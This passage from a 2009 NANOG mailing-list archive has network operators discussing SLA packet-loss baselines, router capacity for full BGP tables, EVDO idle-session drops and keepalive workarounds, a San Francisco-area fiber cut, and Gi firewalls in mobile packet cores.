(few hundred > static EVDO cards). Other large users like FedEx and Amtrak aren't > reporting any issues. Verizon wants to replace the cards, but that > doesn't seem like a viable solution, as it's localized to a few areas > and is intermittent. > > Replies on or off list appreciated. > > From lionair at samsung.com Wed Apr 8 19:13:55 2009 From: lionair at samsung.com (=?euc-kr?B?waTEob+1?=) Date: Thu, 09 Apr 2009 00:13:55 +0000 (GMT) Subject: Fwd: SLA packet loss base Message-ID: <5826160.11461239236035799.JavaMail.weblogic@epml08> Some people replied me about my questions. thanks for reply. However, what I want to know ultimately is something like technical proof or standard or experimentation information they can logically support SLA values in provider's IP network. For example, regarding packet loss, I found information it is based on voip service tolerance (al least below 1% packet loss). but some provider announce they can guarantee 0.3% packet loss. Where does 0.3% come from ? Can anyone give me an answer about this question ? In fact I am going to make some guideline of network quality of my network. Best regards, Chiyoung ------- Original Message ------- Sender : ??? ??/?????1?/?????? Date : 2009-04-08 13:05 (GMT+09:00) Title : SLA packet loss base Hi all, I wonder where we can find the base of packet loss rate of Global famous provider. For example, the packet loss value of Sprint and NTT-Verio is same 0.3 % at their SLA. Best regards Chiyoung ============================================= Chi-Young Joung SAMSUNG NETWORKS Inc. Email: lionair at samsung.com Tel +82 70 7015 0623, Mobile +82 17 520 9193 Fax +82 70 7016 0031 ============================================= From dholmes at mwdh2o.com Wed Apr 8 19:22:40 2009 From: dholmes at mwdh2o.com (Holmes,David A) Date: Wed, 8 Apr 2009 17:22:40 -0700 Subject: SLA packet loss base In-Reply-To: <5826160.11461239236035799.JavaMail.weblogic@epml08> References: <5826160.11461239236035799.JavaMail.weblogic@epml08> Message-ID: <485ED9BA02629E4BBBA53AC892EDA50E08B8FD67@usmsxt104.mwd.h2o> Take a look at the BRIX active measurement instrumentation product which is now owned by EXFO. Many carriers use the BRIX probes to produce empirical data representing SLA values such as jitter, packet loss and round trip times for their network links. BRIX also has other more sophisticated application tests (VoIP codecs, etc.) which can be run from their distributed probes to any network end-point. -----Original Message----- From: ??? [mailto:lionair at samsung.com] Sent: Wednesday, April 08, 2009 5:14 PM To: nanog at nanog.org Subject: Fwd: SLA packet loss base Some people replied me about my questions. thanks for reply. However, what I want to know ultimately is something like technical proof or standard or experimentation information they can logically support SLA values in provider's IP network. For example, regarding packet loss, I found information it is based on voip service tolerance (al least below 1% packet loss). but some provider announce they can guarantee 0.3% packet loss. Where does 0.3% come from ? Can anyone give me an answer about this question ? In fact I am going to make some guideline of network quality of my network. Best regards, Chiyoung ------- Original Message ------- Sender : ??? ??/?????1?/?????? Date : 2009-04-08 13:05 (GMT+09:00) Title : SLA packet loss base Hi all, I wonder where we can find the base of packet loss rate of Global famous provider. For example, the packet loss value of Sprint and NTT-Verio is same 0.3 % at their SLA. Best regards Chiyoung ============================================= Chi-Young Joung SAMSUNG NETWORKS Inc. Email: lionair at samsung.com Tel +82 70 7015 0623, Mobile +82 17 520 9193 Fax +82 70 7016 0031 ============================================= From jrhett at netconsonance.com Wed Apr 8 20:33:48 2009 From: jrhett at netconsonance.com (Jo Rhett) Date: Wed, 8 Apr 2009 18:33:48 -0700 Subject: options for full routing table in 1 year? Message-ID: I was chatting with someone the other day and we were trying to build a complete list of all units which can handle full routing tables 1 year from now, assuming current 4k/month growth (nevermind de- aggregation) Juniper M/T-series units could handle 600k before, now 1mil with I- chip upgrade? Juniper MX-series units are always 1mil Cisco 6500/7600 with SUP720-3BXL handles 1mil routes Force10 E300/600/1200 with dual-cam line cards handle 512k routes Force10 E600/1200 with Exascale (quad-cam) line cards handle 1mil routes Is there anything I'm forgetting here? And if you already have one of these units, the upgrades are: Juniper M-series units can replace the FPIC card to get new I-chip? ...if I understand it, no other cards need replaced Cisco 6500/7600 you replace SUP32 or SUP720 with SUP720-3BXL ...if I understand it, no other cards need replaced? (note that this disagrees with my understanding of how their FIB/CEF works so I'm curious about this) Force10 you replace every single line card, since the entire chassis is limited to the smallest CAM size available. -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From tdurack at gmail.com Wed Apr 8 20:43:54 2009 From: tdurack at gmail.com (Tim Durack) Date: Wed, 8 Apr 2009 21:43:54 -0400 Subject: options for full routing table in 1 year? In-Reply-To: References: Message-ID: <9e246b4d0904081843x1eb8947fsa831cacf4b8333bc@mail.gmail.com> > Cisco 6500/7600 you replace SUP32 or SUP720 with SUP720-3BXL > ? ? ? ?...if I understand it, no other cards need replaced? > ? ? ? ?(note that this disagrees with my understanding of how their FIB/CEF > works so I'm curious about this) If you have linecard DFCs they would need to be XLs also. Tim:> From robert at tellurian.com Wed Apr 8 20:41:35 2009 From: robert at tellurian.com (Robert Boyle) Date: Wed, 08 Apr 2009 21:41:35 -0400 Subject: options for full routing table in 1 year? In-Reply-To: References: Message-ID: <1239241528_39215@mail1.tellurian.net> At 09:33 PM 4/8/2009, Jo Rhett wrote: >I was chatting with someone the other day and we were trying to build >a complete list of all units which can handle full routing tables 1 >year from now, assuming current 4k/month growth (nevermind de- aggregation) The Foundry XMR series can also handle 1M routes in hardware and the CAM on all line cards is also appropriately sized. We have a mix of Sup720-3B-XL in 65XXs and Foundry XMRs. We have been happy with both and both should continue to serve us well into the future. The CAM can be partitioned into only IPv4, only IPv6, MPLS or a combination of all three. -Robert Tellurian Networks - A Perot Systems Company http://www.tellurian.com | 888-TELLURIAN | 973-300-9211 "Well done is better than well said." - Benjamin Franklin From jlewis at lewis.org Wed Apr 8 23:08:47 2009 From: jlewis at lewis.org (Jon Lewis) Date: Thu, 9 Apr 2009 00:08:47 -0400 (EDT) Subject: options for full routing table in 1 year? In-Reply-To: References: Message-ID: On Wed, 8 Apr 2009, Jo Rhett wrote: > Cisco 6500/7600 with SUP720-3BXL handles 1mil routes Keep in mind, on that platform, IPv4 and IPv6 routes share (rob from each other) space. 1mil IPv4 routes assumes you're not doing IPv6 at all. More realistic is some kind of split. i.e. L3 Forwarding Resources FIB TCAM usage: Total Used %Used 72 bits (IPv4, MPLS, EoM) 622592 281799 45% 144 bits (IP mcast, IPv6) 212992 263 1% You can tune the split...but it requires a reboot. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From kloch at kl.net Thu Apr 9 00:20:28 2009 From: kloch at kl.net (Kevin Loch) Date: Thu, 09 Apr 2009 01:20:28 -0400 Subject: options for full routing table in 1 year? In-Reply-To: References: Message-ID: <49DD859C.20007@kl.net> Jo Rhett wrote: > Cisco 6500/7600 with SUP720-3BXL handles 1mil routes Sounds great on paper but a sup720 can barely handle full tables today. Depending on how many full tables you take and what else you are doing with it, cpu resources are unreasonably tight. Having many vlans with vrrp and snmp polling also adds significant cpu load. Also, beware the memory consequences of 'maximum-paths' in bgp context. 8 full tables from a transit provider with maximum-paths=8 will exceed available ram on a sup720. With 6 you will have ~128m free. Fortunately this is not a common configuration. The rsp720 is substantially better at both of these issues. However the rsp720 is only supported in 76xx chassis (officially) so chassis selection is important for future upgrades. - Kevin From dr at cluenet.de Thu Apr 9 05:22:11 2009 From: dr at cluenet.de (Daniel Roesen) Date: Thu, 9 Apr 2009 12:22:11 +0200 Subject: options for full routing table in 1 year? In-Reply-To: References: Message-ID: <20090409102211.GA24285@srv03.cluenet.de> On Wed, Apr 08, 2009 at 06:33:48PM -0700, Jo Rhett wrote: > Cisco 6500/7600 with SUP720-3BXL handles 1mil routes If I remember correctly, using certain function(s) like e.g. uRPF halves this value (in FIB). Best regards, Daniel -- CLUE-RIPE -- Jabber: dr at cluenet.de -- dr at IRCnet -- PGP: 0xA85C8AA0 From sthaug at nethelp.no Thu Apr 9 05:29:52 2009 From: sthaug at nethelp.no (sthaug at nethelp.no) Date: Thu, 09 Apr 2009 12:29:52 +0200 (CEST) Subject: options for full routing table in 1 year? In-Reply-To: <20090409102211.GA24285@srv03.cluenet.de> References: <20090409102211.GA24285@srv03.cluenet.de> Message-ID: <20090409.122952.74704570.sthaug@nethelp.no> > > Cisco 6500/7600 with SUP720-3BXL handles 1mil routes > > If I remember correctly, using certain function(s) like e.g. uRPF > halves this value (in FIB). Old Sup2, yes. Sup720 and related, no. Steinar Haug, Nethelp consulting, sthaug at nethelp.no From amolak.singh at gmail.com Thu Apr 9 05:42:11 2009 From: amolak.singh at gmail.com (Amolak) Date: Thu, 9 Apr 2009 16:12:11 +0530 Subject: L2 - L3 Etherchannel In-Reply-To: <20b13c6b0904081317w8e33e1cv15dc0c60aa7bebc6@mail.gmail.com> References: <20b13c6b0904081317w8e33e1cv15dc0c60aa7bebc6@mail.gmail.com> Message-ID: Thanks guys. -Amolak On Thu, Apr 9, 2009 at 1:47 AM, Arie Vayner wrote: > Yes. > > > On Wed, Apr 8, 2009 at 9:03 PM, Amolak wrote: > >> Hi All, >> >> Is it possible to create L2 Etherchannel at one end and L3 etherchannel at >> another end? >> >> For Example: >> >> SW-1 >> ==== >> >> interface GigabitEthernet1/1 >> channel-group 1 mode desirable >> channel-protocol pagp >> ! >> interface GigabitEthernet1/2 >> channel-group 1 mode desirable >> channel-protocol pagp >> ! >> interface Port-channel 1 >> no ip address >> switchport >> switchport access vlan 10 >> switchport mode access >> ! >> int vlan10 >> ip address 1.1.1.1 255.255.255.252 >> ! >> ------------------------------------ >> >> SW-2 >> ==== >> >> interface Port-channel 2 >> ip address 1.1.1.2 255.255.255.252 >> ! >> interface GigabitEthernet1/1 >> no ip address >> channel-group 2 mode desirable >> channel-protocol pagp >> ! >> interface GigabitEthernet1/2 >> no ip address >> channel-group 2 mode desirable >> channel-protocol pagp >> ! >> >> I don't have a lab to test it, can somebody confirm if the connectivity >> will >> work between these devices as per this setup. >> >> Thanks, >> Amolak >> > > From rs at seastrom.com Thu Apr 9 06:15:44 2009 From: rs at seastrom.com (Robert E. Seastrom) Date: Thu, 09 Apr 2009 07:15:44 -0400 Subject: Verizon EVDO Issues In-Reply-To: <49DCEFBF.8030109@rollernet.us> (Seth Mattinen's message of "Wed, 08 Apr 2009 11:41:03 -0700") References: <200904081127.41697.alexander.harrowell@stlpartners.com> <49DCEFBF.8030109@rollernet.us> Message-ID: <86myaqw00v.fsf@seastrom.com> Seth Mattinen writes: > I have a few Sprint EVDO cards. They go into standby when nothing is > actively going on and fire up within seconds when there is something to > do. I regularly use everything from SSH to streaming video without any > issues. I only notice the delay with SSH when I don't type anything for > a few minutes and it has to come active again, but I can leave it idle > for hours and it never drops. Interesting. When I got my Sprint EVDO card (u727) a year and a half ago, they were pretty nasty about gunning down (bidirectional spoofed RST coming out of the middle of the network somewhere) any TCP sessions that were idle for ten minutes or more. Quite repeatable and verified on the downlow by People With Insight that this was in fact expected behavior from boxes that were in the middle of the network due to "politics" (unlike Verizon, Sprint appears to put no restrictions on inbound connections to the evdo-host). Putting this: ServerAliveInterval 60 in ~/.ssh/config was an effective work-around. I have not revisited the issue to see if Sprint has corrected this behavior. Perhaps budget constraints or customer complaints have caused Sprint to revisit the necessity of having extraneous hardware in their network. -r From nanog at webazilla.com Thu Apr 9 06:43:02 2009 From: nanog at webazilla.com (Konstantin Bezruchenko) Date: Thu, 09 Apr 2009 14:43:02 +0300 Subject: Cisco AGM Message-ID: <49DDDF46.9010805@webazilla.com> Hi all, I wonder if here any people who own/maintain Cisco AGM, or maybe used this device in past. I want to ask few questions. Please reply offlist. Thanks, Konstantin From dts at senie.com Thu Apr 9 09:31:10 2009 From: dts at senie.com (Daniel Senie) Date: Thu, 9 Apr 2009 10:31:10 -0400 Subject: Verizon EVDO Issues In-Reply-To: <86myaqw00v.fsf@seastrom.com> References: <200904081127.41697.alexander.harrowell@stlpartners.com> <49DCEFBF.8030109@rollernet.us> <86myaqw00v.fsf@seastrom.com> Message-ID: On Apr 9, 2009, at 7:15 AM, Robert E. Seastrom wrote: > > Seth Mattinen writes: > >> I have a few Sprint EVDO cards. They go into standby when nothing is >> actively going on and fire up within seconds when there is >> something to >> do. I regularly use everything from SSH to streaming video without >> any >> issues. I only notice the delay with SSH when I don't type anything >> for >> a few minutes and it has to come active again, but I can leave it >> idle >> for hours and it never drops. > > Interesting. When I got my Sprint EVDO card (u727) a year and a half > ago, they were pretty nasty about gunning down (bidirectional spoofed > RST coming out of the middle of the network somewhere) any TCP > sessions that were idle for ten minutes or more. We observe this same kind of behavior with firewalls in the path watching for dead sessions they can clean up. Appears they send RSTs to both end points when they decide a session has gone away, as that'll let end hosts figure it out sooner. Same workaround of turning on keep=alives once a minute solves this too. The behavior in the case of firewalls makes sense, as state tables have to be cleaned up eventually. From sliplever at gmail.com Thu Apr 9 09:45:37 2009 From: sliplever at gmail.com (Dan Snyder) Date: Thu, 9 Apr 2009 10:45:37 -0400 Subject: options for full routing table in 1 year? In-Reply-To: References: Message-ID: <1c2d53bb0904090745q61d57193n369ac4fa17904e1e@mail.gmail.com> An Alcatel 7750SR can support over 1 million BGP routes in its FIB and I assume that the Cisco XR12000 family would also be able to handle the full table a year from now. -Dan On Wed, Apr 8, 2009 at 9:33 PM, Jo Rhett wrote: > I was chatting with someone the other day and we were trying to build a > complete list of all units which can handle full routing tables 1 year from > now, assuming current 4k/month growth (nevermind de-aggregation) > > Juniper M/T-series units could handle 600k before, now 1mil with I-chip > upgrade? > Juniper MX-series units are always 1mil > > Cisco 6500/7600 with SUP720-3BXL handles 1mil routes > > Force10 E300/600/1200 with dual-cam line cards handle 512k routes > Force10 E600/1200 with Exascale (quad-cam) line cards handle 1mil routes > > Is there anything I'm forgetting here? > > And if you already have one of these units, the upgrades are: > > Juniper M-series units can replace the FPIC card to get new I-chip? > ...if I understand it, no other cards need replaced > > Cisco 6500/7600 you replace SUP32 or SUP720 with SUP720-3BXL > ...if I understand it, no other cards need replaced? > (note that this disagrees with my understanding of how their FIB/CEF > works so I'm curious about this) > > Force10 you replace every single line card, since the entire chassis is > limited to the smallest CAM size available. > > -- > Jo Rhett > Net Consonance : consonant endings by net philanthropy, open source and > other randomness > > > > > From jeff at ocjtech.us Thu Apr 9 09:53:39 2009 From: jeff at ocjtech.us (Jeffrey Ollie) Date: Thu, 9 Apr 2009 09:53:39 -0500 Subject: options for full routing table in 1 year? In-Reply-To: References: Message-ID: <935ead450904090753r78c667e3mbbbb90392c7969a4@mail.gmail.com> On Wed, Apr 8, 2009 at 8:33 PM, Jo Rhett wrote: > I was chatting with someone the other day and we were trying to build a > complete list of all units which can handle full routing tables 1 year from > now, assuming current 4k/month growth (nevermind de-aggregation) What about Cisco's ASR series? We're going to be turning up a multihomed connection with two full BGP views and I think our reseller is going to be recommending ASR series routers... -- Jeff Ollie From smb at cs.columbia.edu Thu Apr 9 09:55:57 2009 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Thu, 9 Apr 2009 10:55:57 -0400 Subject: Verizon EVDO Issues In-Reply-To: <86myaqw00v.fsf@seastrom.com> References: <200904081127.41697.alexander.harrowell@stlpartners.com> <49DCEFBF.8030109@rollernet.us> <86myaqw00v.fsf@seastrom.com> Message-ID: <20090409105557.7ef6b75c@cs.columbia.edu> On Thu, 09 Apr 2009 07:15:44 -0400 "Robert E. Seastrom" wrote: > > Seth Mattinen writes: > > > I have a few Sprint EVDO cards. They go into standby when nothing is > > actively going on and fire up within seconds when there is > > something to do. I regularly use everything from SSH to streaming > > video without any issues. I only notice the delay with SSH when I > > don't type anything for a few minutes and it has to come active > > again, but I can leave it idle for hours and it never drops. > > Interesting. When I got my Sprint EVDO card (u727) a year and a half > ago, they were pretty nasty about gunning down (bidirectional spoofed > RST coming out of the middle of the network somewhere) any TCP > sessions that were idle for ten minutes or more. Quite repeatable and > verified on the downlow by People With Insight that this was in fact > expected behavior from boxes that were in the middle of the network > due to "politics" (unlike Verizon, Sprint appears to put no > restrictions on inbound connections to the evdo-host). Putting this: > > ServerAliveInterval 60 > > in ~/.ssh/config was an effective work-around. I have not revisited > the issue to see if Sprint has corrected this behavior. Perhaps > budget constraints or customer complaints have caused Sprint to > revisit the necessity of having extraneous hardware in their network. > I use a Verizon Wireless u727; before that, I used a PCMCIA card. I've never had problems with drops on idle. *However* -- if there was a packet from the wrong IP address, the older card would drop the connection -- apparently, that behavior was required by the spec. (I haven't checked if the newer one will do that.) So, if the EVDO connection dropped while I had, say, an IMAP or ssh session open, and I dialed back in, the next TCP packet would cause EVDO to drop again... I finally "fixed" it by creating ipfilter rules in my ppp-up script to block all "bad" packets from going out. --Steve Bellovin, http://www.cs.columbia.edu/~smb From rs at seastrom.com Thu Apr 9 10:12:57 2009 From: rs at seastrom.com (Robert E. Seastrom) Date: Thu, 09 Apr 2009 11:12:57 -0400 Subject: Verizon EVDO Issues In-Reply-To: <20090409105557.7ef6b75c@cs.columbia.edu> (Steven M. Bellovin's message of "Thu, 9 Apr 2009 10:55:57 -0400") References: <200904081127.41697.alexander.harrowell@stlpartners.com> <49DCEFBF.8030109@rollernet.us> <86myaqw00v.fsf@seastrom.com> <20090409105557.7ef6b75c@cs.columbia.edu> Message-ID: <86prflyi6e.fsf@seastrom.com> "Steven M. Bellovin" writes: > On Thu, 09 Apr 2009 07:15:44 -0400 > "Robert E. Seastrom" wrote: > >> >> Seth Mattinen writes: >> >> > I have a few Sprint EVDO cards. They go into standby when nothing is >> > actively going on and fire up within seconds when there is >> > something to do. I regularly use everything from SSH to streaming >> > video without any issues. I only notice the delay with SSH when I >> > don't type anything for a few minutes and it has to come active >> > again, but I can leave it idle for hours and it never drops. >> >> Interesting. When I got my Sprint EVDO card (u727) a year and a half >> ago, they were pretty nasty about gunning down (bidirectional spoofed >> RST coming out of the middle of the network somewhere) any TCP >> sessions that were idle for ten minutes or more. Quite repeatable and >> verified on the downlow by People With Insight that this was in fact >> expected behavior from boxes that were in the middle of the network >> due to "politics" (unlike Verizon, Sprint appears to put no >> restrictions on inbound connections to the evdo-host). Putting this: >> >> ServerAliveInterval 60 >> >> in ~/.ssh/config was an effective work-around. I have not revisited >> the issue to see if Sprint has corrected this behavior. Perhaps >> budget constraints or customer complaints have caused Sprint to >> revisit the necessity of having extraneous hardware in their network. > > I use a Verizon Wireless u727; before that, I used a PCMCIA card. I've > never had problems with drops on idle. *However* -- if there was a > packet from the wrong IP address, the older card would drop the > connection -- apparently, that behavior was required by the spec. (I > haven't checked if the newer one will do that.) So, if the > EVDO connection dropped while I had, say, an IMAP or ssh session open, > and I dialed back in, the next TCP packet would cause EVDO to drop > again... I finally "fixed" it by creating ipfilter rules in my ppp-up > script to block all "bad" packets from going out. Interesting. I never had that behavior exhibited on my old PCMCIA card on Verizon or on my u727 on Sprint. What OS platform were you on lappie-wise? I've thought on a couple of occasions that a "geek bake-off" between EVDO and 3G providers looking for technical jack moves on the providers' part would make for a nice NANOG lightning talk. Sadly, I haven't the time to devote to such an endeavor. -r From grinch at panix.com Thu Apr 9 10:14:15 2009 From: grinch at panix.com (Craig Holland) Date: Thu, 09 Apr 2009 08:14:15 -0700 Subject: Fiber cut in SF area Message-ID: Just dropping a note that there is a fiber cut in the SF area (I have a metro line down). AboveNet is reporting issues and I've heard unconfirmed reports that ATT and VZW are affected as well. Rgs, craig From jrhett at netconsonance.com Thu Apr 9 10:17:16 2009 From: jrhett at netconsonance.com (Jo Rhett) Date: Thu, 9 Apr 2009 08:17:16 -0700 Subject: options for full routing table in 1 year? In-Reply-To: <9e246b4d0904081843x1eb8947fsa831cacf4b8333bc@mail.gmail.com> References: <9e246b4d0904081843x1eb8947fsa831cacf4b8333bc@mail.gmail.com> Message-ID: <1D70CF0F-3B90-4E60-AE4F-1A6E26972FA7@netconsonance.com> On Apr 8, 2009, at 6:43 PM, Tim Durack wrote: >> Cisco 6500/7600 you replace SUP32 or SUP720 with SUP720-3BXL >> ...if I understand it, no other cards need replaced? >> (note that this disagrees with my understanding of how their >> FIB/CEF >> works so I'm curious about this) > > If you have linecard DFCs they would need to be XLs also. The DFCs are what make hardware forwarding possible, yeah? Upgrading the DFC requires a line-card swap, or just a DFC daughter-card? -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From jared at puck.nether.net Thu Apr 9 10:30:39 2009 From: jared at puck.nether.net (Jared Mauch) Date: Thu, 9 Apr 2009 11:30:39 -0400 Subject: options for full routing table in 1 year? In-Reply-To: <1D70CF0F-3B90-4E60-AE4F-1A6E26972FA7@netconsonance.com> References: <9e246b4d0904081843x1eb8947fsa831cacf4b8333bc@mail.gmail.com> <1D70CF0F-3B90-4E60-AE4F-1A6E26972FA7@netconsonance.com> Message-ID: On Apr 9, 2009, at 11:17 AM, Jo Rhett wrote: > On Apr 8, 2009, at 6:43 PM, Tim Durack wrote: >>> Cisco 6500/7600 you replace SUP32 or SUP720 with SUP720-3BXL >>> ...if I understand it, no other cards need replaced? >>> (note that this disagrees with my understanding of how their >>> FIB/CEF >>> works so I'm curious about this) >> >> If you have linecard DFCs they would need to be XLs also. > > > The DFCs are what make hardware forwarding possible, yeah? > Upgrading the DFC requires a line-card swap, or just a DFC daughter- > card? DFCs allow hardware forwarding on the linecard. (Otherwise it's a centralized lookup on the PFC.. if you do not exceed the PPS limits of the PFC, you may not need a DFC for your environment). It's the same EARL as is on the PFC. The system will use the lowest rev PFC/DFC type and they must all be the same type major class. eg: PFC2 series vs PFC3 series.. and it will follow the 3C[-XL] -> 3B[-XL] -> 3A downrev path. If you have a sup720 w/ pfc3a the dfc-3bxl's will lower themselves to 3a capabilities. btw, this discussion is likely best suited for cisco-nsp. - Jared From stefan at csudsu.com Thu Apr 9 10:37:14 2009 From: stefan at csudsu.com (Stefan Molnar) Date: Thu, 9 Apr 2009 15:37:14 +0000 Subject: Fiber cut in SF area Message-ID: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> VZ in the South Bay (San Jose) is out. As per news reports I watched at 6am PDT. ------Original Message------ From: Craig Holland To: NANOG Subject: Fiber cut in SF area Sent: Apr 9, 2009 8:14 AM Just dropping a note that there is a fiber cut in the SF area (I have a metro line down). AboveNet is reporting issues and I've heard unconfirmed reports that ATT and VZW are affected as well. Rgs, craig From stephane.tsacas at gmail.com Thu Apr 9 10:39:55 2009 From: stephane.tsacas at gmail.com (Stephane Tsacas) Date: Thu, 9 Apr 2009 17:39:55 +0200 Subject: options for full routing table in 1 year? In-Reply-To: <1D70CF0F-3B90-4E60-AE4F-1A6E26972FA7@netconsonance.com> References: <9e246b4d0904081843x1eb8947fsa831cacf4b8333bc@mail.gmail.com> <1D70CF0F-3B90-4E60-AE4F-1A6E26972FA7@netconsonance.com> Message-ID: On Thu, Apr 9, 2009 at 17:17, Jo Rhett wrote: > On Apr 8, 2009, at 6:43 PM, Tim Durack wrote: > >> Cisco 6500/7600 you replace SUP32 or SUP720 with SUP720-3BXL >>> ...if I understand it, no other cards need replaced? >>> (note that this disagrees with my understanding of how their >>> FIB/CEF >>> works so I'm curious about this) >>> >> >> If you have linecard DFCs they would need to be XLs also. >> > > > The DFCs are what make hardware forwarding possible, yeah? On the line card. > Upgrading the DFC requires a line-card swap, or just a DFC daughter-card? > You remove the standard CFC daughter card and put the DFC instead. -- Stephane Paris, France. From rs at seastrom.com Thu Apr 9 10:45:08 2009 From: rs at seastrom.com (Robert E. Seastrom) Date: Thu, 09 Apr 2009 11:45:08 -0400 Subject: Verizon EVDO Issues In-Reply-To: (Daniel Senie's message of "Thu, 9 Apr 2009 10:31:10 -0400") References: <200904081127.41697.alexander.harrowell@stlpartners.com> <49DCEFBF.8030109@rollernet.us> <86myaqw00v.fsf@seastrom.com> Message-ID: <86ljq9x24b.fsf@seastrom.com> Daniel Senie writes: > We observe this same kind of behavior with firewalls in the path > watching for dead sessions they can clean up. Appears they send RSTs > to both end points when they decide a session has gone away, as > that'll let end hosts figure it out sooner. Same workaround of turning > on keep=alives once a minute solves this too. The behavior in the case > of firewalls makes sense, as state tables have to be cleaned up > eventually. While I agree with you that the behavior makes perfect sense, I submit that the controls are often set improperly (by default or due to configuration by underskilled technicians) - that is to say, without taking into account the likely behavior of TCP when the connection is in fact still open. Consider the default keepalive interval on a selection of operating systems: FreeBSD - 7200 seconds: root at clack [17] # sysctl -a | grep keepidle net.inet.tcp.keepidle: 7200000 root at clack [18] # MacOSX - 7200 seconds: [Superfly:~] root# sysctl -a | grep keepidle net.inet.tcp.keepidle: 7200000 [Superfly:~] root# Windows XP - 7200 seconds: http://support.microsoft.com/kb/314053 (notice a pattern here?) Seems to me that a well-engineered firewall will have enough memory in it that (in the application for which it is specified, with anticipated traffic levels) it doesn't have to be over-aggressive and try cleaning up flows that haven't seen any traffic in less than, say, two hours and ten minutes. -r From kin-wei.lee at hp.com Thu Apr 9 10:48:32 2009 From: kin-wei.lee at hp.com (Lee, Steven (NSG Malaysia)) Date: Thu, 9 Apr 2009 15:48:32 +0000 Subject: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? Message-ID: <084962C061414240A0CDB4BE328A9B2D119F91724A@GVW1100EXC.americas.hpqcorp.net> Hi all, in most of the existing 2G/2.5G mobile PS-core (Packet Switch) networks have Gi segment (interface between GGSN & IP Router/firewall). Due to the IP address constraint, operator usually do NAT on the Gi firewall to NAT the private IP to public IP in the past. Looking at the traffic pattern and user access behaviour, does it make sense to have firewall between the GGSN & Public Internet if the public IP addresses are sufficient to cater for mobile subscribers? Especially with 3G/UMTS/HSPA or even LTE in the future. Please share your thought and thanks in advance :) Regards, Steven Lee From a.harrowell at gmail.com Thu Apr 9 11:06:29 2009 From: a.harrowell at gmail.com (Alexander Harrowell) Date: Thu, 9 Apr 2009 17:06:29 +0100 Subject: Verizon EVDO issues Message-ID: <200904091706.29825.alexander.harrowell@stlpartners.com> On Thursday 09 April 2009 15:31:10 Daniel Senie wrote: > On Apr 9, 2009, at 7:15 AM, Robert E. Seastrom wrote: > > > > Interesting. When I got my Sprint EVDO card (u727) a year and a half > > ago, they were pretty nasty about gunning down (bidirectional spoofed > > RST coming out of the middle of the network somewhere) any TCP > > sessions that were idle for ten minutes or more. > > We observe this same kind of behavior with firewalls in the path > watching for dead sessions they can clean up. Appears they send RSTs > to both end points when they decide a session has gone away, as > that'll let end hosts figure it out sooner. Same workaround of turning > on keep=alives once a minute solves this too. The behavior in the case > of firewalls makes sense, as state tables have to be cleaned up > eventually. The UMTS world has a lower-layer protocol called HARQ in the radio air interface which functions a little like TCP; the idea is to detect dropped packets on the radio link and retransmit them before the TCP interval times out, thus providing faster recovery. I wouldn't be surprised if there is a similar mechanism to police the use of spectrum; and a lot of mobile operators see "Internet" as an application. Somewhere around I have the incredibly long referral string Vodafone sent my blog server not long after they started real Internet service; a Squid, a Novarra, a 724 Solutions machine of some sort, and I think something else too. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 194 bytes Desc: This is a digitally signed message part. URL: From jevans24 at gmail.com Thu Apr 9 11:07:02 2009 From: jevans24 at gmail.com (Jason Evans) Date: Thu, 9 Apr 2009 12:07:02 -0400 Subject: Fiber cut in SF area In-Reply-To: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> Message-ID: Yup. Abovenet fiber between 200 Paul SFO and 11 Great Oaks SJC is currently out of commission. jason On Thu, Apr 9, 2009 at 11:37 AM, Stefan Molnar wrote: > > VZ in the South Bay (San Jose) is out. As per news reports I watched at > 6am PDT. > > > ------Original Message------ > From: Craig Holland > To: NANOG > Subject: Fiber cut in SF area > Sent: Apr 9, 2009 8:14 AM > > Just dropping a note that there is a fiber cut in the SF area (I have a > metro line down). AboveNet is reporting issues and I've heard unconfirmed > reports that ATT and VZW are affected as well. > > Rgs, > craig > > > > > > > > From aaronh at bind.com Thu Apr 9 11:12:54 2009 From: aaronh at bind.com (Aaron Hughes) Date: Thu, 9 Apr 2009 09:12:54 -0700 Subject: Fiber cut in SF area In-Reply-To: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> Message-ID: <20090409161254.GA6032@trace.bind.com> 200 Paul Ave is seeing several carriers down. I am also in Santa Cruz and cannot make or receive long distance calls on my land lines. Unconfirmed reports of Caltrain cut. Cheers, Aaron On Thu, Apr 09, 2009 at 03:37:14PM +0000, Stefan Molnar wrote: > > VZ in the South Bay (San Jose) is out. As per news reports I watched at 6am PDT. > > > ------Original Message------ > From: Craig Holland > To: NANOG > Subject: Fiber cut in SF area > Sent: Apr 9, 2009 8:14 AM > > Just dropping a note that there is a fiber cut in the SF area (I have a > metro line down). AboveNet is reporting issues and I've heard unconfirmed > reports that ATT and VZW are affected as well. > > Rgs, > craig > > > > > > -- Aaron Hughes aaronh at bind.com (703) 244-0427 Key fingerprint = AD 67 37 60 7D 73 C5 B7 33 18 3F 36 C3 1C C6 B8 http://www.bind.com/ From swmike at swm.pp.se Thu Apr 9 11:17:09 2009 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Thu, 9 Apr 2009 18:17:09 +0200 (CEST) Subject: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? In-Reply-To: <084962C061414240A0CDB4BE328A9B2D119F91724A@GVW1100EXC.americas.hpqcorp.net> References: <084962C061414240A0CDB4BE328A9B2D119F91724A@GVW1100EXC.americas.hpqcorp.net> Message-ID: On Thu, 9 Apr 2009, Lee, Steven (NSG Malaysia) wrote: > Hi all, in most of the existing 2G/2.5G mobile PS-core (Packet Switch) > networks have Gi segment (interface between GGSN & IP Router/firewall). > Due to the IP address constraint, operator usually do NAT on the Gi > firewall to NAT the private IP to public IP in the past. Looking at the > traffic pattern and user access behaviour, does it make sense to have > firewall between the 